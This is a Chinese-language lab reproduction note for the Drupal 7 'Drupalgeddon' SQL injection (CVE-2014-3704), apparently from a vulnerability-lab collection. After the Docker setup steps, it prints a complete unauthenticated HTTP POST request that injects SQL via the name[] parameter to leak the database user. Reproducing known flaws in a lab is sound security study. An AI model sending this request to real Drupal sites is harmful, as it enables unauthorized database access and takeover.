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43 lines
1.3 KiB
Markdown
43 lines
1.3 KiB
Markdown
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# Drupal < 7.32 “Drupalgeddon” SQL注入漏洞 CVE-2014-3704
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## 漏洞描述
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Drupal 是一款用量庞大的CMS，其7.0~7.31版本中存在一处无需认证的SQL漏洞。通过该漏洞，攻击者可以执行任意SQL语句，插入、修改管理员信息，甚至执行任意代码。
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## 环境搭建
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Vulhub执行如下命令启动Drupal 7.31环境：
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```
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docker-compose up -d
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```
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环境启动后，访问`http://your-ip:8080`即可看到Drupal的安装页面，使用默认配置安装即可。
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其中，Mysql数据库名填写`drupal`，数据库用户名、密码为`root`，地址为`mysql`。
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安装完成后，访问首页：
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## 漏洞复现
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该漏洞无需认证，发送如下数据包即可执行恶意SQL语句：
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```
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POST /?q=node&destination=node HTTP/1.1
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Host: 192.168.174.128:8080
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Accept-Encoding: gzip, deflate
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Accept: */*
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Accept-Language: en
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User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
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Connection: close
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Content-Type: application/x-www-form-urlencoded
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Content-Length: 120
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pass=lol&form_build_id=&form_id=user_login_block&op=Log+in&name[0 or updatexml(0,concat(0xa,user()),0)%23]=bob&name[0]=a
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```
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可见，信息已被爆出：
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